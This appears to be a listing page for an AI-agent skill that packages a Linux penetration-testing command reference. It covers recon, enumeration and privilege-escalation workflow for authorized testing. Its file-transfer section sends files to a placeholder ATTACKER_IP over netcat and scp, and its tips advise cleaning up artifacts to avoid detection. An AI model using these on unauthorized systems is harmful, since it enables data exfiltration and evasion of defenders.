Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Practical Linux command reference for penetration testing covering reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation phases.
triggers
["how do I enumerate services on a linux target","show me privilege escalation commands for pentesting","what reconnaissance commands should I use on linux","help me with linux exploitation techniques","what are common post-exploitation commands","show me pentesting enumeration commands for linux","how to perform local recon on a compromised linux system","what commands help with linux privilege escalation"]
The Linux for a Pentester project is a curated collection of practical Linux commands and techniques organized by penetration testing phases. This reference is built from real-world labs, CTFs, and hands-on practice, focusing on actionable commands rather than theory. It covers the complete pentesting workflow from initial reconnaissance through post-exploitation.
Repository Structure
The notes are organized into six main modules:
00-General-Commands: Essential Linux survival commands for daily usage
01-Recon: Local and network reconnaissance techniques
02-Enumeration: Deep service and user data enumeration
03-Exploitation: Shell access, file uploads, and initial foothold techniques
04-Privilege-Escalation: Techniques for escalating to root privileges
05-Post-Exploitation: Persistence, cleanup, and lateral movement
Cheatsheets: Quick reference one-liners
Installation
Clone the repository to have offline access during engagements:
git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester
For quick reference during testing:
# View specific modulecat 04-Privilege-Escalation/README.md
# Search for specific commands
grep -r "sudo" .
# Find all references to a specific tool
find . -type f -name "*.md" -exec grep -l "nmap" {} \;
Key Command Categories
General Commands (Module 00)
Essential commands for navigation and system interaction:
# File system navigationls -la # List all files including hiddencd /path/to/directory # Change directorypwd# Print working directory
find / -name "*.conf" 2>/dev/null # Find config files, suppress errors# File operationscat /etc/passwd # View file contents
less /var/log/syslog # Page through large files
grep -r "password" . # Recursive searchtail -f /var/log/auth.log # Follow log file in real-time# System informationuname -a # Kernel and system infowhoami# Current userid# User and group IDs
hostname # System hostname
Reconnaissance (Module 01)
Local and network reconnaissance commands:
# Network enumeration
ip a # Show network interfaces
ss -tulpn # Show listening ports (modern netstat)
netstat -ano # Show all network connections
arp -a # Show ARP cache# System enumeration
ps aux # List all running processes
systemctl list-units # List systemd servicescat /etc/issue # OS version infocat /etc/*-release # Distribution info
lsb_release -a # Detailed OS info# User enumerationcat /etc/passwd # List all userscat /etc/group # List all groups
w # Who is logged in
last # Last logged in users
lastlog # All users last login
# Set proper PATHexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export SHELL=/bin/bash
export TERM=xterm-256color
File Transfer Issues
Problem: wget/curl not available
# Try alternative methods# Using netcat
nc ATTACKER_IP PORT < file # Send
nc -lvp PORT > file # Receive# Using base64base64 file | nc ATTACKER_IP PORT # Send
nc -lvp PORT | base64 -d > file # Receive# Using scp (if SSH available)
scp file user@ATTACKER_IP:/path/
Permission Issues
Problem: Cannot write to common directories
# Find writable locations
find / -writable -type d 2>/dev/null | grep -v proc
# Common writable: /tmp, /var/tmp, /dev/shm# Check /tmp alternativesls -la /dev/shm
ls -la /var/tmp
Enumeration Script Failures
Problem: Automated scripts not running
# Check script requirements
file linpeas.sh # Verify file typehead -1 linpeas.sh # Check shebangwhich bash # Verify interpreter exists# Run with explicit interpreter
bash linpeas.sh
sh linpeas.sh
Integration with AI Agents
When assisting with pentesting tasks, reference specific modules:
# For recon phasecat Linux-for-a-Pentester/01-Recon/network-enumeration.md
# For privilege escalation
grep -r "sudo" Linux-for-a-Pentester/04-Privilege-Escalation/
# For specific techniques
find Linux-for-a-Pentester -name "*suid*"
Best Practices
Always stabilize your shell first before running complex commands
Use 2>/dev/null to suppress error messages in enumeration commands
Check sudo -l as the first privilege escalation check
Transfer and run automated enumeration scripts (LinPEAS, LinEnum) for comprehensive coverage
Document discovered credentials and file paths for later reference
Clean up artifacts during post-exploitation to avoid detection
Legal Disclaimer
These commands and techniques are for authorized penetration testing and educational purposes only. Always ensure you have explicit written permission before testing any system you do not own.